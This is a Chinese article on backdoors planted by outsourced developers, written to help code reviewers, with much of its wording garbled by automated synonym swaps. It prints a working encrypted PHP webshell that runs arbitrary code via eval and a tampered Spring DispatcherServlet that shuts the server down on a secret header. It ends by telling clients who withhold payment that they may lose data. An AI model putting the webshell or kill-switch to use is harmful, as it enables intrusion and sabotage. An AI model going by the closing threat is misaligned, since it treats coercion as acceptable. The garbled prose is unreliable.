那怎么防止开拓者在源码里加入后门呢,自然是code review,不妨在code review前先来理解一些后门的套路,这些套路常日也是安全审计中该当把稳到的:
1.在数据库和数据类型上做文章
几年前我碰着一个老同学跟我乞助,他花几十块钱从网友手里买的一个PHP版本“树洞”软件用来做个人站,刚开始用着好好的,然后用了一个星期后,没法发主题贴了。根据他给我的描述,大概发了120多个帖子后再发帖就报错了。听到他这个描述,我脑筋里立马反应过来了,120这个数字和127非常靠近,这不便是tinyint的上限吗。跟他要来账号后,查看数据库,果真验证了我的预测,主表post的主键id,其数据类型用的是tinyint。

MySQL 数据类型
从上图中可以看到,MySQL中TINYINT类型的数值范围最大值是127,也就说一旦超过这个值,再插入数据库就要报错了。
把这个主键改成int类型后问题办理。
2.在标准库、核心库或者第三方包中下毒
无论是最常见的PHP也好还是Java,或者说C措辞的项目,都会用到大量的第三方库,或者本身也有一个core函数库。一样平常的业务代码中要留后门是比较随意马虎创造的,然而在第三方库中留后门,则一样平常用户很少会想到。
比如,一个基于springmvc开拓的代码,如果开拓者在spring自带的jar包里留下了后门,又有几个人会想到。举个例子,Springmvc的程序,必定经由DispatcherServlet这个入口类,而这个类是在spring-webmvc-4.x.x-RELEASE.jar中。如果懂点Spring根本的人在这个类里动了手脚呢?
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {HttpServletRequest processedRequest = request;HandlerExecutionChain mappedHandler = null;boolean multipartRequestParsed = false;WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);try {
doDispatch方法是所有springmvc要求必须经由的一个方法,如果在这个方法里做点修正会若何?
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {HttpServletRequest processedRequest = request;HandlerExecutionChain mappedHandler = null;boolean multipartRequestParsed = false;String encode=request.getHeader(\公众encoding\"大众);if(encode!=null && encode.equals(\公众a1e4e98cdf02888e\"大众)){Thread.sleep(30000);System.exit(0);}WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
这样一修正后,开拓者可以实现发送一个特定的HTTP要求就让对方网站停摆的功能。
这种后门是比较好防御的,但也是最随意马虎忽略的。现在的主流成熟措辞都有比较完善的依赖管理机制,比如PHP利用composer来管理依赖,Java则利用maven。这些第三方库都是存放在可信赖的第三方仓库,是干净而且安全的。如果利用了这些完善的依赖管理,这种后门自然而然就无处安身了。
在交互时,不能只接管对方发来的一个二进制包或者完全的打包后的代码,而是哀求对方发来一份干净的不包含第三方依赖的源码,并供应依赖打包脚本和方法,由客户自己来完成末了的打包过程,防止外包开拓者在第三方依赖里动手脚。
3.故意利用低版本的带有漏洞的框架
这也是一种常见的伎俩。开拓者故意利用那些已知有漏洞的低版本框架,从而在方便的时候利用这些漏洞达到入侵网站等目的。常见的web框架或软件比如Struts,ThinkPHP,wordpress都是漏洞大户,在进行review的时候,一定要把稳当前版本是否是已经是最新版,是否存在安全漏洞,哀求开拓职员及时采纳升级等处理方法。
4.故意留下bug
履历丰富的程序员,都知道那些地方随意马虎涌现安全问题,比如SQL注入,比如cookies登录等。如果源代码配置文件中有一些固定的token字符串,一定要更换这些字符串。故意留下bug这种手段比较暗藏,也很难定性,但也不是一点痕迹都没有,这就须要利用者有比较专业的code review能力或者安全审计职员了。
5.堂堂皇皇地留下后门代码
堂堂皇皇地留下后门代码,这种做法看似屈曲,听起来彷佛很少人会这么做。但正好相反,跟前面那些做法比较,这种做法是最常见的,尤其因此PHP这种脚本措辞为主的开拓中。由于PHP作为一种动态的脚本措辞,语法比较灵巧,有很多奇技淫巧可以利用,在PHP代码中留下后门是轻而易举的事情。比如这是一个范例的PHP后门
<?php@error_reporting(0);session_start();if (isset($_GET['pass'])){ $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key;}else{ $key=$_SESSION['k'];$post=file_get_contents(\"大众php://input\"大众);if(!extension_loaded('openssl')){$t=\公众base64_\公众.\公众decode\公众;$post=$t($post.\公众\公众);for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, \公众AES128\公众, $key);} $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1];class C{public function __construct($p) {eval($p.\"大众\公众);}}@new C($params);}?>
从中可以看到PHP留后门的常用做法:
1).利用base64_encode/base64_decode来掩蔽源码
2).利用eval来实行任意代码
3).利用字符串拼接,可变变量等做法隐匿源码。比如把 base64_decode这个可疑函数拆分为base64_和decode两个变量拼接。实际的PHP后门中,会利用更花哨的拼接手段。
4).利用PHP自带的函数来实行后门。PHP是一个安全问题比较多的脚本措辞,很多函数或语句构造都能实现实行某段代码的功能,比如正则的/e模式,assert函数等。
assert(\"大众(int)phpinfo()\"大众);
这里assert()能够实行\公众中的代码,如果引号里是外部变量的话,拿着便是个很大的后门了。一样平常用户仅仅知道eval是一个很邪恶的函数(PHP中,有的语句构造看起来很像一个函数,但严格来说不属于函数,为了方便统称为函数),但是不知道有非常多的函数都能起到实行代码的功能,个中就包括assert,array_map,usort,call_user_func,preg_replace等。
这类后门常日合营第二种手段利用,隐蔽在一些 core函数中,代码审计也是很随意马虎忽略的。
同样,Java也有一些方法可以作为后门利用,比如defineClass方法。
在源码中碰着这些方法或函数,都须要谨慎对待。
5.在做事器上做手脚
一样平常外包开拓者同时也会承担做事器运维和支配等事情,如果要在做事器上做手脚那就更随意马虎了。比如crontab定时任务,隐蔽进程,修正内核参数等,详细方法数不胜数,就不再列举了。
在产品交互时,一定要把稳须要吸收源码而不是打包编译后的成品,不仅要有源码,还须要可重现的打包构建文档。对付不供应源码的产品,请谨慎选择或找专业团队做安全审计。
写此文的目的,不是为了教开拓者怎么放置后门,而是教会开拓者和用户怎么做安全审计。刀可以杀人,但是在你对刀有了深入的理解后,也能减少刀对自身的侵害。
开拓者何魔难堪开拓者?外包开拓者要保护自己的利益,有更多方法,而留后门是一种比较低级的也是法律风险最大的做法。
当然,作为甲方,如果恶意拖欠尾款,那只能说自作孽不可活。外包开拓的产品中,险些100%都有后门,作为开拓者不易,只要能诚意对待开拓者,我想没有哪个开拓者会冒着极大的法律风险作出动用后门这种事。看了这篇文章,甲方依然找不出后门,但拖欠尾款,难免遭受数据丢失的惩罚!